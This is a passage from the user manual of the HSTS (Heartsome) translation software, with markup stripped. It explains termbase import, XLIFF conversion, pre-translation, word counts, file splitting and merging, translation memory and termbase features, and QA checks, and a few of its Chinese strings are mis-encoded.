    + + In the second step of the Create A New Termbase wizard, you + can choose to import a TBX file into the newly created + termbase. + + By clicking the Options button, you can + also define how duplicate entries will be handled. + +
    + Options: Termbase - Duplicate entries processing + + + + + + + + +
    + + + + Duplicate entries processing + + + + Add + + Offering the fastest import speed, this is the best + option when there are no matching repetitions between the + existing termbase and the TBX being imported, or when all + duplicates need to be retained. + + + + Overwrite + + Offering a slower import speed, this is the best + option when the TBX being imported contains more up-to-date + content than the existing termbase. + + + + Merge + + Offering a slower import speed, this is a suitable + option when the contents in both the imported TBX and the + existing termbase need to be retained. + + + + Ignore + + Offering a moderate import speed, that is the best + option when the existing termbase contains more up-to-date + content than the TBX being imported. + + + + +
    +
    + + + Add Source Files + + If the "add source file" step was skipped or not all source + files were added during the creation of the project, you can do so + after the project has been created by simply dragging the source file + (one or multiple files/folders) from your computer's file manager and + dropping it (or them) into the Source folder for the + project. If a folder was added, then the entire sub-folder structure + within it will also be retained. See the figure below illustrating the + drag-and-drop operation: + +
    + Drag-and-drop folders/files + + + + + + + + +
    + + Other than drag-and-drop, you can also add source files by + directly copying one or multiple files or folders from your computer's + file manager by selecting the project's Source folder + in the Project window and using the hot keys + Ctrl/Command+V or + Edit menu > + Paste. + + To delete source files, just select one or multiple + files/folders and click Edit menu > + Delete, or simply press + Delete on your keyboard. +
    + + + Convert Source Files to XLIFF + + Since HSTS can be used to directly edit XLIFF files, only source + files in other formats have to be converted into XLIFF format before + they can be translated with HSTS. You will be directed to this step + automatically in the final step of project creation after adding + source files and chosen Convert source files to + XLIFF after the project is created. Alternatively, you can + expand the project folder and select the Source folder, + or any other files/folders in the Source folder. Following this, + choose Convert to XLIFF Files from context menu or + File menu. + +
    + Convert Source Files to XLIFF + + + + + + + + +
    + + In Convert Source Files to XLIFF + dialog box, there are following parameters available for configuration + in:
    + Convert Source Files to XLIFF dialog box + + + + + + + + +
    + + + + Properties + + + + Format + + The format of the source files. + + + + Encoding + + The encoding of the source files. + + + + + + Conversion Options + + + + Overwrite files with the same + name + + HSTS will not overwrite existing files by default. If + the XLIFF file that needs to be generated already exists, the + only way to continue the conversion is to overwrite the + existing file. Before choosing this option make sure that the + file to be overwritten does not contain useful data. Back it + up first if it does. + + + + Pre-translate + + This will enable pre-translation of the XLIFF file after + conversion, which can facilitate the translation + process.
 + + + + Target Languages + + This will convert your source files to XLIFF files with + multiple target languages. Here, the option can be selected by + pressing Ctrl/Shift plus the + left mouse button. + + + + + + Segmentation Rules + + SRX (Segmentation Rules eXchange) files define how a + paragraph will be split up into sentences. Users can choose + different segmentation rules to meet the particular requirements + of clients, languages or files. For custom segmentation rules, you + can refer to "Configure + segmentation rules". + + +
    + + + Lock Repetitions + + Some sentences (text segments) might appear in one project + repeatedly. To provide consistent translation for these repeated text + segments and to also save time handling them, it is recommended that + these repetitions are locked and that the "duplicate translation" + feature is used after translation has been completed. In this way, + identical translations will be applied to the repetitions. + + HSTS enables automatic locking of repetitions. This convenient + feature keeps the first occurrence of the segment unlocked, but locks + the second and later occurrences (the repetitions). This makes it easy + to translate the first occurrence, while preventing inconsistent + translations for the repetitions. The step-by-step procedure is + described as follows: + + + + Select one or more files/folders in the project's + XLIFF folder, then from the right-click menu or + Translation menu, select Lock + Repetitions.
    + Lock Repetitions + + + + + + + + +
    +
    + + + Lock Repetitionsdialog box is + displayed in which list all selected files just now, select + segment status level you want to lock:
    + Lock Repetitions dialog box + + + + + + + + +
    + + + + Internal Repetitions + + Segments with identical source text within the same file + or across multiple files will be locked. + + + + Exact Matches + + Segments with a 100% match in the TM will be + locked. + + + + Context Matches + + Segments with a 101% match in the TM will be + locked. + + +
    + + + Click the OK button to start locking + the repetitions and the result will be shown at the end.
    + Results of locking repetitions + + + + + + + + +
    +
    +
    +
    + + + Pre-translate + + Pre-translation will automatically translate all segments in the + selected XLIFF where matches are found in the TM. It also facilitates + more accurate implementation of matches-based features, such as word + count analysis or the repetitions in the segment filter + of the editor. + + Apart from TM pre-translation, HSTS also supports + MT-based pre-translation.How it works: + + + + Before pre-translating from a TM, at least one TM should be + added to the project. The TM cannot be empty (matches must have + been added by importing TMX or translated segments to the + TM).
    + Open Project Settings + + + + + + + + +
    + +
    + Project Settings: TM + + + + + + + + +
    +
    + + + Select one or more files/folders in the project's + XLIFF folder, then from the right click menu or + Translation menu, select + Pretranslation.
    + Pre-translate + + + + + + + + +
    The Pretranslation + dialog will pop up listing all of the selected XLIFF files.
    + +
    + Pre-translate + + + + + + + + +
    +
    + + + Clicking the Options button will open + the Preferences related to pre-translation: + +
    + Options: Pre-translate + + + + + + + + +
    + + + + Pre-translate + + + + Also lock following segments: + + + + Exact Matches + + + + Context Matches + + + + + + How to handle existing translations: + + + + Keep existing + translations + + + + Overwrite if translations found with + higher match value + + + + Always overwrite existing + translations + + + + + + + + Google Translate + + + + Key + + Need to purchase from Google, please refer to . + + + + Automatic Machine Translation + + + + When no pre-stored translations from + Google Translate + + + + Always + + + + Never, I'll do that + manually + + + + + + Pre-store Google Translate + translations + + + + + + Bing Translator + + + + For authentication, please refer to for following + information: + + + + Client ID + + + + Key + + + + + + Automatic Machine Translation + + + + When no pre-stored translations from + Bing Translator + + + + Always + + + + Never, I'll do that + manually + + + + + + Pre-store Bing Translator + translations + + + + +
    + + + Click the OK button to start + pre-translation.The operation may take some time to complete + depending on the volume of segments in the XLIFF and whether MT + has been used for pre-storage.Once the pre translation has + finished, the results dialog box will appear, as shown + below. + +
    + Pre-translation Results + + + + + + + + +
    +
    +
    +
    + + + Analyze Files + + A word count analysis give users an idea of the volume of the + translation project, which helps with billing or with project + management when translation assignments have to be split between + different translators. HSTS can also calculate equivalent word counts, + or "weighted word counts," for a given translation project. This is + based on the match values and the corresponding equivalents set by + users, and the software will then automatically sum up results across + all folders.To do a word count analysis, please follow these + steps: + + + + Select Project in the project + window, and then from the right-click menu or the + Project menu, open Project + Settings > Translation + Memory to check that a non-empty TM has been + created. Create an empty TM if this has not been done.For details, + see . + + + + From the Project or XLIFF sub-folder, choose + one or multiple .hsxliff files, and from either the + right-click menu or the Project menu, select + Analyze Files.
    + Analyze Files + + + + + + + + +
    + +
    + Analyze Files dialog box + + + + + + + + +
    +
    + + + From the Analyze Files dialog + box, you may also choose from these additional options: + + + + Lock context matches + + + + Lock exact matches + + + + Lock Repetitions + + + + + + Click the Options button to change + settings for the word count analysis: + +
    + Options: Analyze Files + + + + + + + + +
    + + + + Ignore case + + Ignore by default. + + + + Ignore tags + + Ignore by default. + + + + Minimum match value + + Valid values range from 1% to 100%. The default value is + 70%. + + + + Number of context segments + + Valid values range from 1 to 100. The default value is + 1. The previous segment and following segment (if neither are + empty) are taken into account for context matching. + + + + Analysis Report + + Whether to include the internal repetitions and internal + fuzzy matches in the analysis report: + + + + Internal Repetitions + + + + Internal fuzzy matches + + + + + + Weighted Factor + + Match value range and weighted factors. This setting + converts the word counts of specific match values into + weighted word counts. For example, a repeated word may be + counted as the factor of 0.5 of a word. Settings for this may + vary from client to client or agency to agency, and users can + change these values as appropriate.
    + Options: Weighted Factor + + + + + + + + +
    +
    +
    +
    + + + Once you have finished choosing settings, click the + OK button and an analysis report in HTML + format will be created in the Intermediate/Report + folder and automatically opened. + +
    + Results of word analysis + + + + + + + + +
    +
    +
    +
    + + + Split up a file + + If an individual file is very large, it can be converted to + XLIFF and then split up into multiple smaller files. These can then be + assigned to different translators to work on at the same time in order + to shorten the project cycle. With other CAT tools, files are usually + split up by specifying a certain number of segments, but HSTS takes a + more customizable and visible approach: + + + + Double-click to open the XLIFF file to be split up, and + browse its contents. + + + + Based on the context, decide which segment the file needs to + be split from. Select that segment and use the XLIFF + Split Point command in the right-click menu to add a + split tag to the segment. + +
    + Split up XLIFF file - Add split point + + + + + + + + +
    +
    + + + Repeat the step above until all split tags have been added + at the desired points. + + + + In the Project window, choose + this XLIFF file and then, in the right-click menu or the + File menu, click Split + XLIFF. + +
    + Split XLIFF file + + + + + + + + +
    +
    + + + When the Split XLIFF dialog + box pops up, check that the split information is correct, then + click the OK button to finish splitting up + the XLIFF file. The split XLIFF files will be saved in the same + folder where the original XLIFF file was saved. The new folder is + renamed with _split as a suffix to the original + file name. The split files can be found in this folder and + assigned to different translators.
    + Results of Splitting up XLIFF + + + + + + + + +
    +
    +
    + + Split XLIFF files need to be merged at the end of the project in + order to be converted to the final target file. For details please see + . +
    + + + Project Settings + + Data that has been skipped or not entered during New Project Wizard + can be added or changed after project creation is done. Follow these + steps: + + + + Choose the project whose settings you want to change from + the Project window, then from the + right-click menu or the Project menu, open + Project Settings. + +
    + Project Settings + + + + + + + + +
    +
    + + + The Project Settings dialog + box shows most of the same information that was previously shown + in the New Project Wizard: + + + + Project Information(Note: the + Client, Subject in the following figure are customized project + properties. For more information, Please see ) + + + + Project Language + + + + Translation Memory + + + + Termbase + + + +
    + +
    + Project Settings: Project information + + + + + + + + +
    + +
    + Project Settings: Project language + + + + + + + + +
    + +
    + Project Settings: TM + + + + + + + + +
    + +
    + Project Settings: Termbase
 + + + + + + + + +
    + + These items can be modified or set in the same way as in New + Project Wizard, therefore the instructions are not repeated + here. + + There are two features that are present in New Project Wizard + but not in Project Settings: Change project name + and Add/delete source file. The "Add/delete + source file" feature has been detailed previously in . The project name can be + changed by selecting the project that needs to be renamed and then + going to the Edit menu and using the + Rename feature. + +
    + Rename Project
 + + + + + + + + +
    +
    +
    + + + Translation + + Translation is obviously the most important part of a translation + project. It is also where CAT tools are at their most useful.As soon as + the aforementioned preparation work has been done, you are ready to + start translating. The preparation steps are just suggestions and you + may choose to adapt them to your particular needs, or go back to perform + those steps any time during the translation process. + + + Open + + In HSTS, an XLIFF file (with an .hsxliff extension) + can be opened in one of two ways: + + + + Open separately + + Double-click the file you want to open, or select one or + multiple files and use the right-click menu to open them. You can + open individual XLIFF files one after another in XLIFF + editor. + + + + Open in One Tab + + Select two or more XLIFF files, one or more folders + containing at least two XLIFF files each, or a combination of + files and folders. Then click Open in One + Tab in the right-click menu to open and merge all + selected XLIFF files in just one XLIFF editor as if they were a + single XLIFF file.
    + Open in One Tab + + + + + + + + +
    + +
    + The effect of opening files in one tab + + + + + + + + +
    +
    +
    + + Opening files separately is the best option for a translation + project consisting of just a few files, while the merge and open + option is ideal for a project where there are a large number of small + files and multiple folder levels. +
    + + + Enter translation + + Click any target segment, a flashing cursor appears and you can + enter your translation.When you have finished typing, click an area + outside the input box, or press arrow keys (↑, + ↓ ) to go to previous segment or next segment, the + content you have just entered will be saved automatically in the + Heartsome + XLIFF.需è¦æ³¨æ„的是,如果译文有多行文本,则在使用↑ã€â†“æ–¹å‘键时,会先在当å‰æ–‡æœ¬æ®µçš„多行译文之间移动光标,到达当å‰è¯‘文的首行或末行åŽï¼Œç»§ç»­æŒ‰æ–¹å‘键↑ã€â†“æ‰ä¼šåˆ†åˆ«è·³åˆ°ä¸Šã€ä¸‹ä¸€ä¸ªæ–‡æœ¬æ®µã€‚ + + + + Inserting tags into the translation + + Some formatting elements (e.g., bold, italic, underlined, + foreground color, background color, etc.) will be saved as internal + tags when the file is converted to XLIFF. This means the original + formatting will be restored when the translated file is converted to a + target file. + + Therefore, internal tags in the source text have to be inserted + in the translated text at the appropriate places. HSTS's tags are + numbered according to the order in which they appear in the source, + and tags inserted into the translation are identified by these same + ordinal numbers. HSTS provides two ways to insert tags into the + translation: + +
    + Insert internal tags + + + + + + + + +
    + + + + Quick Insert Tag + + Insert a specified number (up to 10) of tags into the + translation. + + + + Insert Next Tag + + Insert a tag of the smallest ordinal number that is present + in the source but not in the translation. + + + + For both ways of inserting tags, it is strongly + recommended to use the respective hot keys, which will + improve efficiency significantly. + + Some internal tags come in pairs. The first + one is called the opening tag and the second one is + called the closing tag (like the starting and finishing + points of the bold text in this sentence). Between the opening + tag and closing tag of such a pair, other tags + might also be embedded (e.g., within a bold section of text, some of + the bold words might also appear as italics).A tag pair share the same + ordinal number. + + Other than these two types of tags (tag + pairs and embedded tags), there are no + strict ordinal restrictions for other tags, meaning that the + tags in the translation do not have to be in exactly the same order as + they are in the source. Where a tag should be placed + depends mainly on how the source and the translation correspond. If + the word surrounded by the tags is at the beginning of the sentence in + the source, while the translated word is at the end of the target + sentence, then the tags should also be added at the end of the + translation (generally speaking, the same word should be surrounded by + the tags, no matter where in the sentence it appears). + + + If you select part of the translation and insert a + tag pair,the selected text will be + automatically placed in the middle of this tag pair. If you did not + choose the translation while inserting a tag pair, the cursor will + be placed in the middle of the tag pair, in which you can enter your + translation. + + + + To change the color of tags, go toTools + > Options > Color + Settins. Tag error means tags in target does not + appear in source, you may need to remove these tags. + +
    + + + Change segment status + + The segment status is used to indicate what stage the segment is + at in relation to the overall translation process. Below are the + different statuses a segment can have in HSTS: + +
    + Right-click menu: Segment status
 + + + + + + + + +
    + + + + Untranslated + + A segment where no translation has been added. When you + delete or clear the translation in a segment with a different + status, it will automatically take on this status. + + + + Draft + + A segment where a translation has been added, but not yet + confirmed as the final translation. When a segment, with a status + other than "draft", gets changed but is not empty, it will + automatically take on this status. + + + + Translated + + A segment where a translation has been added and confirmed + by the translator as the final translation. Users can use the + Confirm Translation feature to change a + segment to this status from a different status, except when it is + "not translated". + + + + Approved + + A segment where the translation has been edited or + tentatively confirmed by a proofreader as correct, + implying that it has been translated.Users + can use the Approve Translation feature + to change a segment to this status from a different status, except + when it is "not translated". + + + + Signed-off + + A segment where the translation has been edited or confirmed + by a proofreader and therefore the translation is + considered final.Users can use the Sign + off feature to change a segment to this status from + "Approved". + + + + If the default TM has been set up correctly, when the segment + status is changed to Translated or + Approved, Auto-sending segments to + TM will also be implemented at the same time. Otherwise, + the status of the translated segment will change but the text will not + be saved in the TM. +
    + + + Translation Memory + + During translation, the most frequently used functions related + to translation memory is as follows: + + + Send segments to TM + + This feature saves the source text and translated text in the + TM. Once saved in the TM, it enables repeated use of the translation + for a similar sentence and therefore keeps translation as consistent + as possible across files and projects. + + As mentioned earlier, if the default TM has been set up + correctly, when the segment status is changed to + Translated or Approved, the text + segment will be automatically saved in the TM. Otherwise, the status + of the translated segment will change but the text will not be saved + in the TM. If you would like to save all segments in the TM all at + once upon completion of the project, please refer to . + + When saving segments in the TM in any of the ways described + above, entries identified as repetitions (i.e. having identical + sources) can be handled using the same options that are available + for importing TMX files. For details please see . + + + + Get match for current segment + + When the TM has been correctly set up, every time you select a + segment HSTS will automatically retrieve a match (if available) from + the TM and display it in the Translation + Memory window. By selecting a match, you can see + information about the match in Translation Memory window status bar: + modification date and time, modified by, name of the TM. + +
    + Translation Memory Matches + + + + + + + + +
    + + When you mouse over the status bar, more attribute information + will pop up: created by, created on, custom attributes (please see + , for how to set this). + + Users can go to Tools menu > + Options > + Translation > Translation + Memory to configure settings for TM searches: + +
    + Options: TM + + + + + + + + +
    + + + + Case-sensitive + + + + Ignore tags + + + + Minimum match value + + Matches with lower match values in the TM than this will + not be displayed. + + + + Number of context segments + + The number of segments that are taken into account when + calculating context matches. + + + + Number of matches displayed + + Once the number of matches meeting the specified minimum + match value reaches the value entered here, the search will + stop. + + + + Priority + + + + Default translation memory + + Matches from default translation memory will take + priority over the matches from non-default translation + memory. + + + + Most recently updated + + More recent translations are shown closer to the + top. + + + + + + In the Translation Memory + window, different types of matches are displayed in different + colors, which makes it easier for users to identify them. These + color settings can be changed in Tools menu > + Options > + System > Color + Settings. + +
    + Options: Color Settings + + + + + + + + +
    +
    + + + Apply match to translation + + In the Translation Memory + window, double-clicking on a match will apply the translation to the + current segment. At the same time, the background color of match + value of the segment will change to be the same as the match. In + addition, you can also use shortcut keys Alt + + 1, Alt + + 2, Alt + 3 to get the + first, second and third match from the translation memory + window. + +
    + Accept match
 + + + + + + + + +
    + + + When you applied match to target and changes the + translation, then backgrou color of the match value of the segment + will disappear. + + + If you want to copy and paste any portion of matches to + target, you can select part of mathces, then press + Ctrl/Command+C + and + Ctrl/Command+V to + copy and paste it to the target。 + +
    + TM Match: select the part of the translation + + + + + + + + +
    +
    + + + Edit match, delete match + + If you find wrong sentence or repeated sentence in + Translaiton Memory panel, you can + edit them with Edit Match and + Delete Match button。 + +
    + TM: editing match + + + + + + + + +
    + + Select desired match in Translation + Memory and click Edit Match + button, the Edit Match dialog will + pop up. + +
    + Edit Match + + + + + + + + +
    + + Once finish editing, click OK to save changes into TM in + real-time. + +
    + TM: Delete Match + + + + + + + + +
    + + To delete a match, select it and click Delete Match button, + and finally click OK. + + + You can only edit the match retrieved from TM in real-time, + rather than pre-stored TM matchã€MT match or + QT match. + + + + Editing match can not be undone. Please + keep cautious for this. + +
    + + + Concordance + + Concordance is mainly used to search for translations that are + relevant to specific source text. This is how it works: + + + + Check that the TM has been set up correctly for the + project. For details about this, please see ; + + + + Select text in either the source or translation column, + use the Context Menu or the Translationmenu + and click Concordance; + The selected text will also be automatically copied to + the system clipboard. If you do not find the results in TM, + and want to continue to search it in the Internet, you can + paste the selected text to browser's search box directly by + Ctrl/Command+V. + + +
    + XLIFF editor: Select text to search + + + + + + + + +
    +
    + + + In the Concordance dialog + box that pops up, adjust the following settings as + appropriate: + + + + Case-sensitive + + + + Ignore tags + + This means to skip tags in segments during the + search. + + + + Regular expressions + + + + Translation Memory + + This is the TM you want to conduct the search + in. + + + + Target Languages + + This limits the search to finding source text in the + current XLIFF file and only text in the chosen target + language will be displayed. It is also possible to show + translated text in different language locales for + reference. + + + + Add Filters + + + + Source/Target + + + + Contain/Exclude + + + + Text content + + + + + +
    + Concordance + + + + + + + + +
    +
    + + + Click the Search button to see + results. + +
    + + Double-click translation on conconrdance search dialoge to + select part of its content to copy to the clipboard for later + use. +
    +
    + + + Termbase + + Most termbase features work in a similar way to a TM. + + + Add Term + + To add a term to your termbase, follow these steps: + + + + Check that the default termbase has been set up for the + project. For details about this, please see : + + + + Select source term and target term at the same + timein one opened XLIFF. + +
    + Add Term + + + + + + + + +
    +
    + + + Click Translation menu > + Add Term (Or use the shortcut + keysCtrl/Command+T); + In the Add Terms to + Termbasedialog box, the selected + source term and target + term will be automatically entered in the + corresponding field; + +
    + Add Term dialog box + + + + + + + + +
    +
    + + + You can also fill in the Attribute + field, so that it is easier to distinguish the different + translations for one term depending on the client or subject + matter. + + + + Finally, click OK to finish adding + the term. + +
    + + Users can go to Tools menu > + Options > + Translation > + Termbase to change settings for term + repetitions. Details can be found at . +
    + + + Get term for current segment + + When the termbase has been correctly set up, every time a + segment is selected, HSTS will automatically retrieve terms from the + termbase and display them in the + Termbase window. + +
    + Term match + + + + + + + + +
    +
    + + + Insert term into translation + + Place the cursor in the translation field and double-click the + term in the Termbase window. The + translation for the term will be inserted where the cursor is. In + addition, you can also use shortcut keys Ctrl + + Shift + 1 ~ 0 to + insert the term 1 ~ 10. + +
    + Insert term + + + + + + + + +
    +
    + + + Search term + + Follow these steps to search for a term in the + termbase: + + + + Check that the termbase has been set up for the project. + For details about this please see . + + + + Select the term you would like to search for in either the + source or translation column of the opened XLIFF file. + +
    + XLIFF editor: Select text to search + + + + + + + + +
    +
    + + + Click Translation menu > + Search Term. + + + + In the Search Term dialog + box that pops up, type in the term in the search box. If you had + previously selected the term, it will be automatically filled in + the search box. You may also need to configure the following + settings as appropriate: + +
    + Search term + + + + + + + + +
    + + + + Case-sensitive + + + + Ignore tags + + + + Regular expressions + + + + Match value + + Similarity to the searched term in terms of match + value. + + + + Termbase + + + + Target Languages + + +
    + + + Click the Search button to see + results. + +
    +
    +
    + + + QA + + HSTS provides a wide range of QA features to help users improve + translation quality in various ways. From Tools + > Options > + QA > QA, you + can activate the following QA items: + +
    + Options: QA + + + + + + + + +
    + + + + Term consistency + + Check that terms are translated correctly as per the + termbase. + + + + Numeral consistency + + Check that numerals in the source are correctly transferred + to the translation. + + + + Tag consistency + + Check that tags in the source are correctly transferred to + the translation. + + + + Non-translatable text + + Check that placeables in the source are correctly + transferred to the translation. + + + + Leading/trailing spaces + + Check that spacing at the beginning/end of the translation + is consistent with the source. + + + + Segment completeness + + Check that there are no empty translation fields or + different fields from the source. + + + + Target length limit + + Check that the translation is within the word count limit. + This is typically a requirement for software UIs or subtitles for + videos, etc. + + + + Spell check + + Check that there are no spelling mistakes in the + translation. + + + + Segment consistency + + Check for translation consistency and inconsistency. + + + + Among these QA items, all except Segment + consistency can be checked using Auto-check + Policy. This means you can choose to automate one or multiple + QA checks upon completing or approving + segments. We recommend activating automatic QA checks + during translation, in order to identify problems immediately and to + solve them as soon as possible. + + Segments that fail to pass the QA + checks will be displayed in the QA Results window. A + double-click on a QA issue will direct you to that particular segment. + Each line in the results corresponds to one problem. Therefore, there + will be multiple results shown for one segment if it is found to have + multiple QA problems. + + + In some cases, problems identified by the QA checks may not + turn out to be problems at all.For example, spaces at the beginning + and ends of paragraphs are necessary in Latin languages, but not in + Asian languages. Therefore, translators should decide whether the QA + problems identified need to be corrected depending on the particular + requirements of the target language. + +
    + + + Quick Translation + + HSTS's quick translation feature is called Example + Based Machine Translation (EBMT). This feature can replace + terms in the current segment with matching terms from the TM, + automatically making a fairly good translation. When combining TM + matches and terms, quick translation can produce as high quality + translation as a TM, while reducing the cumbersome job of replacing + terms manually. The example below shows a scenario where fast + translation can be of use: + + + + Precondition + + + + The segment This is a black keyboard. and + its translation 这是一åªé»‘色的键盘。 both exist in the + TM. + +
    + Quick translation: TM + + + + + + + + +
    +
    + + + These terms exist in the termbase: + black-黑色的, keyboard-键盘, + white-白色的 and mouse-鼠标 + +
    + Quick translation: Termbase + + + + + + + + +
    +
    +
    +
    + + + Source of current segment + + This is a white mouse. + + + + Translation generated through quick translation + + 这是一åªç™½è‰²çš„鼠标。 + +
    + Quick Translation + + + + + + + + +
    +
    +
    + + There are two prerequisites for quick translation: + + + + There is a match in TM for the current segment (meeting the + minimum match value set in + Tools menu > + Options > + Translation > + Translation Memory, which was set at + 35% in the example above). + + + + Apart from TM matches, the rest of the current source text + has matching terms in the termbase. + + + + We recommend going to Tools menu > + Options > + Translation and activating the + Auto Quick Translation feature. If this has not + been activated, it is also possible to implement quick translation + manually by going to Translation menu > + Quick Translation. + + + If the current segment does not meet the prerequisites for + quick translation, activating this feature will not bring any + visible results. + +
    + + + Machine Translation + + HSTS provides support for Bing Translator and Google Translate + for machine translation (MT). The former MT engine can be used for + free while the latter requires payment. To use machine translation, go + to Tools > Options + > Translation > Google + Translate/Bing Translator and + configure the following settings: + +
    + Machine translation: Google Translate
 + + + + + + + + +
    + +
    + Machine translation: Bing Translator + + + + + + + + +
    + + + + Key + + + + Google Translate: Only private key required + + + + Bing Translator: Requires Client ID + and Key + + + + + + Automatic Machine Translation + + + + When no pre-stored translations from Google + Translate/Bing Translator + + + + Always + + + + Never, I'll do that manually + + + + + + Pre-store machine translation + + Pre-store machine translation results during pretranslation. + This can avoid repeated visits and additional costs while getting + access to machine translation matches without delay. + + +
    + + + Filter segments + + Sometimes during translation, it is necessary to filter segments + by certain characteristics (e.g. statuses, matches) so as to narrow + down the search scope, eliminate interruptions and facilitate batch + operations. HSTS provides following segment filter: + +
    + XLIFF editor: Segments filter + + + + + + + + +
    + + + + Locked + + + + Unlocked + + + + Pending + + + + Not Sent to TM + + + + Segments with comments + + + + Untranslated + + + + Draft + + + + Translated + + + + Unfinished + + + + Approved + + + + Unapproved + + + + Signed-off + + + + Not Signed-off + + + + Internal repetitions + + + + Context Matches + + + + Exact Matches + + + + Fuzzy match + + + + In addition, you can also click on Customize + Filters button on the right of segment filter drop-down + list to add a custom filter:
    + XLIFF editor: Add your own custom segment filter + + + + + + + + +
    You can add custom filter as following + conditions:
    + +
    + Manage custom filters + + + + + + + + +
    + + + + Combination of the following types of criteria + + Meet all of the following conditions, + meet one of the following conditions + + + + Keyword + + Contain/Exclude: + Specified text + + + + Comments + + Contain/Exclude/Equal/Not + Equal To: Specified text + + + + Attribute + + Property + nameequals specified text and + property value equals + specified text + + + + Successfully added new segment filter will display at the bottom + of the segment filter list.
    + Segment custom filters + + + + + + + + +
    +
    + + + Translation Progress Analysis + + Translation progress analysis is performed in a similar way to + the word count analysis: + + + + From the Project or XLIFF sub-folder, choose + one or multiple .hsxliff files/folders, and from + either the right-click menu or the Project + menu, select Translation Progress + Analysis;
    + Translation Progress Analysis. + + + + + + + + +
    +
    + + + To confirm the files you want to analyze, click + OK button。
    + Translation progress analysis + + + + + + + + +
    +
    + + + When the analysis has finished, a report of the analysis + results will open automatically. + +
    + Results of translation progress analysis + + + + + + + + +
    +
    +
    +
    +
    + + + Edit & QA + + + Open + + The "Open file" operation for Edit & QA is the same as for + "Translate". For details, please see . + + + + Change segment status + + The "Change segment status" operation for Edit & QA is the + same as for "Translate", except that the specific status values vary a + little. For details, please see . + + + + Edit translation + + The "Edit translation" operation for Edit & QA is the same + as for "Translate". For details, please see . + + + + Comments + + Any opinions or notes on source or translated text can be added + as segment comments. A segment with a comment will have a comment icon + shown in the status column. To process comment, you can: + + + Add + + Select one or multiple segments, go to the right-click menu or + Edit menu to open Add + Comment and enter a comment:
    + Add Comment + + + + + + + + +
    + +
    + Add Comment dialog box + + + + + + + + +
    + + + + Apply to: + + + + Select desired segments + + The comment will only be added to the segment(s) + selected. + + + + All Segments + + The comment will be added to all segments. + + + + + + Comments + + The comment message. + + + + HSTS allows multiple comments to be added to one + segment. +
    + + + Edit + + Select a segment and go to the right-click menu > + Edit Comment. When the + Edit Comment dialog box opens, select + the comment entry you would like to edit. Click the Edit + Comment button to edit the comment. If the comment being + edited was added to All Segments, then edits to the + comment will apply to all other segments.
    + Edit Comment + + + + + + + + +
    + +
    + Edit Comment dialog box + + + + + + + + +
    +
    + + + Delete + + Select one or multiple segments and go to the right-click menu + or Edit menu > Delete + Comment. Once confirmed, all comments for the selected + segments will be deleted. If the deleted comment was added to + All Segments, then deleting any one occurrence of + this comment will also delete all other occurrences. + +
    + + + Editing Progress Analysis + + The "Edit progress analysis" operation is the same as + "Translation progress analysis". For details please see . + + + + RTF external proofreading + + Some editors or proofreaders may prefer to do their job using + Word or similar text editing tools, and HSTS has provided the RTF + export/import feature to meet their needs. Prior to + editing/proofreading, export the XLIFF file to an RTF file and use any + tool that supports RTF file editing (e.g., Word) to do the + editing/proofreading. When finished, import the updated RTF back to + XLIFF. The specific procedure is as follows: + + + Export RTF + + + + Select the project or open the XLIFF file to be exported, + go to the File menu or right-click menu and + open Export RTF. + +
    + Export RTF + + + + + + + + +
    +
    + + + In the Export XLIFF file as + RTF dialog, the selected XLIFF file has been + filled, you need to configure the following settings:
    + Export XLIFF files as RTF + + + + + + + + +
    + + + + Export to RTF + + Apart from source and translated text, you can also + choose to export segment statuses and comments. + + + + Export Type + + + + Exclude + + + + Locked + + + + Context Match + Segments + + + + Exact Match + Segments + + + + + + Only Export + + + + Segments with + comments + + + + Pending segments + + + + + + + + Save RTF to + + +
    + + + Once the settings above have been configured, click + OK to export. + +
    +
    + + + Import RTF + + + + Select the project or open the XLIFF file to be updated, + go to the File menu or right-click menu and + choose Import RTF. + +
    + Import RTF + + + + + + + + +
    +
    + + + Select the edited/proofread RTF file and click the + OK button.
    + Import RTF to update XLIFF + + + + + + + + +
    +
    +
    +
    +
    + + + QA + + HSTS's QA features have been introduced in the previous section. We recommend activating + automatic QA check during translation, but users can + always choose to perform individual QA checks at any time. + + + Individual QA check + + You can perform individual QA checks for a single or multiple + XLIFF files currently open in the editor (including + separately opened, and merged and + opened ones), checking numeral consistency or + tags consistency. Problems will be shown in the + QA Results list. + +
    + Individual QA check + + + + + + + + +
    +
    + + + Global QA check + + A global QA check will run QA checks on multiple XLIFF files + all at once, helping users to perform final quality checks on their + own assignment, task or even the whole project. The procedure is + detailed below: + + + + Select the project or open the XLIFF(s) to be checked, + then go to QA or the right-click menu to open + QA.
    + QA + + + + + + + + +
    + +
    + QA dialog + + + + + + + + +
    +
    + + + Click the Options button to select + the QA items to be checked and configure the relevant settings + for each item. + +
    + Options: QA + + + + + + + + +
    +
    + + + Go back to the QA dialog + box and click OK to start the QA check. + The results of the QA check will be displayed in the + QA Results window as shown + below: + +
    + QA Results + + + + + + + + +
    +
    +
    +
    +
    + + + Preview + + This allows the translator to preview what the translated file + will look like when the XLIFF file is converted to the target file. + How to preview a translation: Open (either separately or merge and + open) the XLIFF file, and then simply click + Translation > + Preview. + If the source file is in an XML-based format (including + .docx and other XML-based compressed formats), + missing or wrong tags in the translation are likely to result in + an improperly structured XML file being generated when previewing. + This could mean that the preview may fail to open. Therefore, + it is highly recommended to run a tag consistency check + before previewing the translation, and fix all problems + about tags. + When previewing a translation, the default associated + program with the file type will be used to open and preview the file. + If the particular application is not installed, an error message will + appear and the preview will be aborted. You can copy the preview file + generated under the /Intermediate/Other folder to a + computer where the required application has been installed. You can + then preview the translation from there. + +
    + Preview + + + + + + + + +
    +
    +
    + + + Finish project + + When all segments have been translated following the + aforementioned steps, and after QA checks have been performed, the + project is nearly complete. Complete the below steps to finish the + project. + + + Merge files + + If the translation project included files that needed to be + split up earlier on during the preparation stage using + the Split up file feature, the + split XLIFF files need to be merged back into one file. The procedure + is detailed below: + + + + In the project, select + the multiple XLIFF files that were split up from one + XLIFF file. + +
    + Merge XLIFF files + + + + + + + + +
    +
    + + + Make sure the XLIFF files to be merged are indeed from the + same original XLIFF file and that there are no duplicate + or missing parts. See the example below: + Merge XLIFF files + + For example, where we are merging two split up + files: + + + + A file named File.hsxliff is first + split up into two files, named + File_1.hsxliff and + File_2.hsxliff. + + + + The file File_2.hsxliff is further + split up into two smaller files, named + File_2_1.hsxliff and + File_2_2.hsxliff. + + + + To do the merge, just select all three files + including File_1.hsxliff, + File_2_1.hsxliff, and + File_2_2.hsxliff. + + + + + + + Click Finish button.
    + Merge XLIFF files + + + + + + + + +
    +
